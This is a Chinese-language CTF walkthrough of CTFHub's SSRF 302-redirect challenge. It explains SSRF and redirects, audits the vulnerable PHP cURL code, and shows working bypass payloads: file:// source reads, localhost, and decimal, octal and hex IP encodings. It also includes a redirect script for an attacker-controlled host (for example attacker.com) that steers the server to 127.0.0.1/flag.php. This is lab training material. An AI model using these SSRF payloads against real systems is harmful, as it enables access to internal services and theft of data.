目錄
一、SSRF與302跳轉
1、SSRF
2、302響應
3、SSRF與302結合
(1)SSRF源碼分析
(2)攻擊鏈條(Flow of Exploit)
二、滲透實戰
1、打開靶場
2、嘗試127.0.0.1訪問
3、file協議分析源碼
(1)flag.php
(2)index.php
4、分析繞過方法
(1)八進制表示
(2)十六進制表示
(3)十進制表示
(4)域名解析方式
(5)利用 302 跳轉繞過
5、域名解析繞過法
6、數字IP繞過
(1)十進制繞過法
(2)八進制繞過法
(3)十六進制繞過法
7、302跳轉法繞過
(1)搭建公網服務器環境
(2)構造302跳轉繞過URL
(3)自動跟隨跳轉訪問內網資源
本文通過CTFHub的SSRF 302跳轉 bypass關卡的滲透實戰,詳細介紹了SSRF利用302跳轉進行滲透測試的方法。首先解析了SSRF的原理及302響應的特點,重點闡述了通過結合兩者繞過內網IP檢測的攻擊鏈:利用可控外部服務器返回302跳轉,誘使目標服務器跟隨重定向訪問內網資源。通過靶場實踐展示了四種繞過技術:1)域名解析法(使用localhost);2)數字IP轉換法(八進制/十六進制/十進制表示);3)302跳轉法(需公網服務器配合)。文章提供了完整的原理分析、代碼審計和滲透步驟,并指出不同方法的適用場景,為SSRF利用提供了系統性的技術參考。
一、SSRF與302跳轉
1、SSRF
SSRF(Server-Side Request Forgery,服務器端請求偽造)是一種由攻擊者構造請求,迫使服務器發起非預期網絡請求。其核心風險在于服務器可突破客戶端瀏覽器限制,訪問內網資源(如 127.0.0.1、私有 IP 段服務)、讀取本地文件,甚至攻擊第三方系統。
特點 | 具體說明 |
---|---|
發起主體 | 由服務器主動發起請求,非客戶端(如瀏覽器) |
請求可控 | 攻擊者構造請求參數,決定服務器的請求目標與內容 |
突破限制 | 可訪問服務器內網資源(如 127.0.0.1) |
利用場景 | 常通過 URL 參數、文件上傳等功能觸發 |
核心風險 | 讀取服務器本地文件、攻擊內網服務、獲取敏感信息 |
2、302響應
- 302用來做臨時跳轉302 表示臨時性重定向,訪問一個url時,被重定向到另一個url上。302常用于頁面跳轉,比如未登陸的用戶訪問用戶中心,則重定向到登錄頁面。
- 301適合永久重定向,301比較常用的場景是使用域名跳轉。比如,我們訪問 http://www.baidu.com 會跳轉到 https://www.baidu.com,發送請求之后,就會返回301狀態碼,然后返回一個location,提示新的地址,瀏覽器就會拿著這個新的地址去訪問。
- 301重定向和302重定向的區別:302重定向只是暫時的重定向,搜索引擎會抓取新的內容而保留舊的地址,因為服務器返回302,所以,搜索搜索引擎認為新的網址是暫時的。而301重定向是永久的重定向,搜索引擎在抓取新的內容的同時也將舊的網址替換為了重定向之后的網址。
3、SSRF與302結合
(1)SSRF源碼分析
一個存在SSRF風險的PHP應用程序。它有一個功能會接收用戶輸入的URL,并在服務器端使用cURL去請求這個URL,然后將結果返回給用戶。
<?php
// 偽代碼示例 (vulnerable.php)
$url = $_GET['url']; // 用戶完全可控的參數
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); // 關鍵危險配置!自動跟隨重定向
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
?>
-
攻擊者資產: 一臺完全由攻擊者控制的外部Web服務器(假設為http://mooyuan.ljn.com/)。
-
內部資產: 目標服務器本身(
127.0.0.1:80
)上的一個敏感服務(/flag.php
)。
(2)攻擊鏈條(Flow of Exploit)
假設我們擁有一個可控的服務器http://mooyuan.ljn.com/,根目錄下的redirect.php內容如下所示。
<?php
// http://mooyuan.ljn.com/redirect.php 的代碼
header("Location: http://127.0.0.1/flag.php");
exit();
?>
-
誘使服務器發起請求: 攻擊者向存在SSRF風險點的接口提交一個URL,這個URL指向攻擊者自己的服務器(http://mooyuan.ljn.com/
redirect.php
)。 -
惡意重定向響應: 攻擊者的服務器(http://mooyuan.ljn.com)上部署的?
redirect.php
?腳本,被請求時,會立即返回一個?HTTP 302?響應,其?Location
?頭指向內網的目標資源(http://127.0.0.1/flag.php
)。 -
自動跟隨跳轉: 目標服務器上的cURL客戶端(配置了?
CURLOPT_FOLLOWLOCATION = TRUE
)在接收到302響應后,會自動地、不加驗證地向?Location
?頭指定的新地址(即內網的?http://127.0.0.1/flag.php
)發起第二次請求。 -
訪問內部資源: 由于這次請求是從服務器內網發起的(
127.0.0.1
就是本機),它成功繞過了網絡邊界防護,訪問到了原本無法從外網直接訪問的?flag.php
。 -
數據回傳:?
flag.php
?的輸出內容被目標服務器的cURL獲取,并最終返回給攻擊者。攻擊者從而竊取了內部敏感信息。
二、滲透實戰
1、打開靶場
打開關卡如下所示,提示信息為“SSRF中有個很重要的一點是請求可能會跟隨302跳轉,嘗試利用這個來繞過對IP的檢測訪問到位于127.0.0.1的flag.php吧”,提示本關卡有對IP地址進行檢測,可利用302跳轉來繞過過濾檢測。點擊打開題目,此時系統自動創建Docker環境,下圖藍色部分的URL地址就是靶場環境。
復制靶場鏈接(challenge-98a3792781086fb4.sandbox.ctfhub.com:10800)并訪問,如下所示被重定向到了?url=_中,完整的URL鏈接如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=_
2、嘗試127.0.0.1訪問
構造Payload為?url=http://127.0.0.1/flag.php,嘗試通關127.0.0.1訪問頁面,完整URL如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
通過瀏覽器訪問如上鏈接后,頁面提示“**“Hack ban Intranet IP”**”,說明該Payload觸發了過濾機制,提示ip地址127.0.0.1是被禁止的ip地址,具體如下所示。
3、file協議分析源碼
(1)flag.php
使用file協議獲取flag其源碼,構造payload為?url=file:///var/www/html/flag.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
訪問URL地址后,使用右鍵查看源代碼,具體內容如下所示。
這段代碼的核心邏輯是通過驗證請求的客戶端 IP 地址,只允許本地(127.0.0.1
)發起的請求獲取 Flag,其他來源的請求會被攔截并提示。在 CTF 場景中,我們需要想辦法讓請求看起來像是來自?127.0.0.1
,比如利用 SSRF(服務器端請求偽造),讓服務器自身去訪問這個頁面,從而繞過 IP 限制獲取 Flag。
<?php
:這是 PHP 代碼的起始標記,表明接下來的代碼是 PHP 代碼。error_reporting(0);
:error_reporting
?函數用于設置 PHP 的錯誤報告級別。error_reporting(0)
?表示關閉所有錯誤報告,這樣在代碼運行過程中即使出現錯誤,也不會在頁面上顯示錯誤信息,有助于隱藏可能存在的安全風險信息或調試信息。if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
:$_SERVER
?是 PHP 的一個超全局變量,包含了諸如頭信息、路徑、腳本位置等服務器相關的信息。$_SERVER["REMOTE_ADDR"]
?用于獲取發起當前請求的客戶端的 IP 地址。- 這里的條件判斷是:如果發起請求的客戶端 IP 地址不等于?
127.0.0.1
(本地回環地址,代表服務器自身)。
echo "Just View From 127.0.0.1";
:如果上述條件成立(即請求不是來自?127.0.0.1
),就會在頁面上輸出字符串 “Just View From 127.0.0.1”。exit;
:輸出提示信息后,執行?exit
?函數,終止當前腳本的執行,后續的代碼(輸出 Flag 的部分)不會再執行。echo getenv("CTFHUB");
:如果請求來自?127.0.0.1
,則執行這一行代碼。getenv
?函數用于獲取環境變量的值,這里是獲取名為 “CTFHUB” 的環境變量的值,并將其輸出到頁面上,這個值通常就是我們要獲取的 Flag
(2)index.php
使用file協議獲取flag其源碼,構造payload為?url=file:///var/www/html/index.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
通過file協議訪問URL地址后,使用右鍵查看源代碼,具體內容如下所示。
這段代碼的主要功能是:接收一個?url
?參數,首先檢查該參數是否存在,若存在則重定向;然后檢查?url
?中是否包含內網 IP 相關的字符串,若包含則禁止訪問;如果通過檢查,就使用 cURL 向該?url
?發送請求,并自動跟隨重定向。整體是為了限制對特定內網地址的訪問,同時實現對合法外部 URL 的請求轉發。
<?php
:PHP 代碼的起始標記,表明后續是 PHP 代碼。error_reporting(0);
:設置 PHP 的錯誤報告級別為 0,即關閉所有錯誤報告。這樣在代碼運行過程中,即使出現錯誤,也不會在頁面上顯示錯誤信息,有助于隱藏潛在的安全風險信息或調試信息。if (isset($_REQUEST['url'])) {
:isset()
?函數用于檢測變量是否設置且不為?NULL
。$_REQUEST
?是 PHP 的超全局變量,它包含了?$_GET
、$_POST
?和?$_COOKIE
?的內容,這里是檢測是否存在名為?url
?的請求參數。- 如果存在?
url
?參數,就執行下面的?header
?重定向和?exit
?操作。
header("Location: /?url=_");
:發送 HTTP 頭部信息,將頁面重定向到?/?url=_
,這里的?_
?是一個占位符,可能是為了初始化或重置?url
?參數。exit;
:終止當前腳本的執行,后續代碼不會再運行。$url = $_REQUEST['url'];
:獲取請求中的?url
?參數的值,并將其賦值給變量?$url
。if (preg_match("/127|172|10|192/", $url)) {
:preg_match()
?函數用于執行正則表達式匹配。- 這里的正則表達式?
/127|172|10|192/
?用于檢測?$url
?中是否包含?127
、172
、10
?或?192
?這些字符串。 - 這些數字是常見的內網 IP 段(
127.0.0.0/8
?是本地回環地址段,172.16.0.0/12
、10.0.0.0/8
、192.168.0.0/16
?是私有 IP 地址段)。如果?$url
?中包含這些字符串,說明可能是要訪問內網地址。
exit("hacker! Ban Intranet IP");
:如果檢測到?$url
?中包含內網 IP 相關的字符串,就輸出 “hacker! Ban Intranet IP” 并終止腳本執行,禁止訪問內網地址。$ch = curl_init();
:初始化一個 cURL 會話,$ch
?是 cURL 句柄。curl_setopt($ch, CURLOPT_URL, $url);
:設置 cURL 會話的 URL 選項,將請求的 URL 設置為前面獲取到的?$url
。curl_setopt($ch, CURLOPT_HEADER, 0);
:設置 cURL 選項,CURLOPT_HEADER
?為 0 表示在輸出中不包含 HTTP 頭部信息。curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
:設置?CURLOPT_FOLLOWLOCATION
?為 1,開啟 cURL 的自動跟隨重定向功能。當請求的 URL 發生重定向(如返回 301、302 狀態碼)時,cURL 會自動跟隨到新的 URL 繼續請求。curl_exec($ch);
:執行 cURL 會話,向設置的?$url
?發送請求,并獲取響應結果(不過這里沒有對響應結果進行處理,只是執行請求)。curl_close($ch);
:關閉 cURL 會話,釋放相關資源。
4、分析繞過方法
源碼通過正則表達式?"/127|172|10|192/"
?匹配 URL 中是否包含常見的內網 IP 段字符串。但可以使用一些特殊的 IP 表示形式來繞過該正則檢測:
(1)八進制表示
將 IP 地址轉換為八進制形式。例如,127.0.0.1
?可以轉換為?0177.0000.0000.0001
?,因為在八進制中,177
?等于十進制的?127
?,0000
?等于十進制的?0
?。不過需要注意,不同系統對八進制 IP 地址的支持情況可能不同。
(2)十六進制表示
把 IP 地址轉換為十六進制。127.0.0.1
?對應的十六進制是?0x7F000001
?,可以嘗試將 URL 中的目標 IP 地址以這種形式呈現,可能會繞過正則檢測。
(3)十進制表示
把 IP 地址轉換為十進制。127.0.0.1
?對應的十進制是?2130706433,可以嘗試將 URL 中的目標 IP 地址以這種形式呈現,可能會繞過正則檢測。
(4)域名解析方式
利用?localhost
?,它默認會解析到?127.0.0.1
?,如果代碼沒有對域名解析做額外限制,那么使用?http://localhost/
?作為目標 URL 就可能繞過正則對?127
?開頭的檢測。還可以利用一些特殊的 DNS 解析服務,將特定域名解析到內網 IP 地址,然后在請求 URL 中使用這個域名 。
(5)利用 302 跳轉繞過
如果存在一個可控制的外部服務器, 可以在該服務器上設置 302 跳轉,讓其跳轉到內網地址。然后在目標 PHP 代碼請求這個外部服務器的 URL 時,會跟隨 302 跳轉訪問到內網地址。比如,在自己控制的服務器上編寫一個簡單的腳本,當接收到請求時,返回一個 302 狀態碼,并且在?Location
?頭部指定要訪問的內網地址(如?http://127.0.0.1/flag.php
?),再將這個外部服務器的 URL 作為?url
?參數傳遞給目標 PHP 代碼。由于目標代碼開啟了?CURLOPT_FOLLOWLOCATION
?選項,會自動跟隨 302 跳轉,從而間接訪問到內網資源 。
綜上,根據本靶場的題目“302跳轉繞過”可以分析出來,利用302跳轉繞過這個方法應該就是本關卡靶場的作者希望可以使用的滲透方法,但是目前我還沒有外網可控服務器,這部分我只是給出滲透的步驟,并沒能給出真實滲透的截圖,后續有條件會更新第7步的滲透實戰過程。條條大路通羅馬,本篇文字使用域名解析法和3種數字IP繞過法來進行滲透,一共4種方法來實現滲透獲取flag值。
5、域名解析繞過法
將?url=http://127.0.0.1/flag.php替換為?url=http://localhost/flag.php,用localhost代替127.0.0.1,完整的URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://localhost:80/flag.php
或
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://localhost/flag.php
如下所示,成功獲取到flag值。因為源碼分析中正則僅檢測url
中是否包含127
、172
、10
、192
這些字符串(均為內網 IP 段特征),但沒有限制localhost
這個關鍵詞。而localhost
是域名系統中指向本地回環地址(127.0.0.1
)的特殊域名,其字符串中不包含上述被攔截的數字,因此能直接通過正則檢測。
6、數字IP繞過
(1)十進制繞過法
我們可以把127.0.0.1轉化為十進制形式進行繞過,使用在線進制轉換工具對127.0.0.1進行進制轉換,運行結果如下所示,127.0.0.1轉換為十進制值為2130706433。
若需手動驗證,按以下步驟計算127.0.0.1對應的十進制值。
- 將 IP 的 4 個段(127、0、0、1)分別轉為 8 位二進制:
127 → 01111111,0→00000000,0→00000000,1→00000001; - 拼接為 32 位二進制數:
01111111000000000000000000000001
; - 將 32 位二進制轉為十進制:
01111111000000000000000000000001
?= 2130706433。
使用?url=http://2130706433:80/flag.php來替換?url=http://127.0.0.1/flag.php,完整URL地址如下所示。
challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://2130706433:80/flag.php
將構造好的 URL 復制到瀏覽器地址欄,按下回車發送請求,此時服務器會自動將 “2130706433” 解析為 127.0.0.1,繞過黑名單攔截(檢查url
?參數中是否包含?127
、172
、10
、192
?這些常見的內網 IP 段特征字符串),如下所示已經成功獲取flag,滲透成功。
(2)八進制繞過法
我們可以把127.0.0.1轉化為八進制形式進行繞過,使用在線進制轉換工具對127.0.0.1進行進制轉換,運行結果如下所示,127.0.0.1轉換為八進制值為0177.0000.0000.0001。
?使用?url=http://0177.0000.0000.0001/flag.php來替換?url=http://127.0.0.1/flag.php,完整URL地址如下所示。
challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://0177.0000.0000.0001/flag.php
將構造好的 URL 復制到瀏覽器地址欄,按下回車發送請求,此時服務器會自動將 “2130706433” 解析為 127.0.0.1,繞過黑名單攔截(檢查url
?參數中是否包含?127
、172
、10
、192
?這些常見的內網 IP 段特征字符串),如下所示已經成功獲取flag,滲透成功。
(3)十六進制繞過法
我們可以把127.0.0.1轉化為十六進制形式進行繞過,使用在線進制轉換工具對127.0.0.1進行進制轉換,運行結果如下所示,127.0.0.1轉換為十六進制值為0x7F000001。
使用?url=http://0x7F000001/flag.php來替換?url=http://127.0.0.1/flag.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://0x7F000001/flag.php
將構造好的 URL 復制到瀏覽器地址欄,按下回車發送請求,此時服務器會自動將 “0x7F000001” 解析為 127.0.0.1,繞過黑名單攔截(檢查url
?參數中是否包含?127
、172
、10
、192
?這些常見的內網 IP 段特征字符串),如下所示已經成功獲取flag,滲透成功。
7、302跳轉法繞過
(1)搭建公網服務器環境
在自己控制的公網服務器(如 VPS)上創建跳轉腳本(以 PHP 為例),假設我們擁有一個可控的服務器,網站根目錄下創建redirect.php文件,其內容如下所示。
<?php
// 當目標系統請求此腳本時,返回302重定向
header("Location: http://127.0.0.1/flag.php");// 要訪問的內網地址
exit();
?>
- 腳本功能:接收請求后,立即返回 302 狀態碼,告訴客戶端(目標系統的
curl
)" 請跳轉到http://127.0.0.1/flag.php
"。 - 部署:將腳本上傳到公網服務器,確保可通過
http://你的服務器域名/redirect.php
訪問
(2)構造302跳轉繞過URL
使用?url=http://你的服務器域名/redirect.php通過302跳轉訪問http://127.0.0.1/flag.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://你的服務器域名/redirect.php
向目標系統發送包含外部跳轉腳本的請求,此時url
參數的值是外部服務器地址(如http://attacker.com/redirect.php
),不包含127
等內網特征字符串,直接通過正則檢測。
(3)自動跟隨跳轉訪問內網資源
訪問向目標系統發送包含外部跳轉腳本的請求:?目標服務器上的cURL客戶端(配置了?CURLOPT_FOLLOWLOCATION = TRUE
)在接收到302響應后,會自動地、不加驗證地向?Location
?頭指定的新地址(即內網的?http://127.0.0.1/flag.php
)發起第二次請求。由于這次請求是從服務器內網發起的(127.0.0.1
就是本機),它成功繞過了網絡邊界防護,訪問到了原本無法從外網直接訪問的?flag.php
。
- 目標系統的
curl
解析url
參數,向http://你的服務器域名/redirect.php
發送請求。 - 外部服務器返回 302 響應,
Location
為http://127.0.0.1/flag.php
。 - 由于
CURLOPT_FOLLOWLOCATION = 1
,curl
自動跟隨重定向,向127.0.0.1/flag.php
發送請求。 - 此時訪問的是內網地址,但由于跳轉發生在
curl
內部,目標系統的正則檢測僅針對初始url
參數(已通過),無法攔截后續跳轉,最終獲取到內網資源(如 Flag)。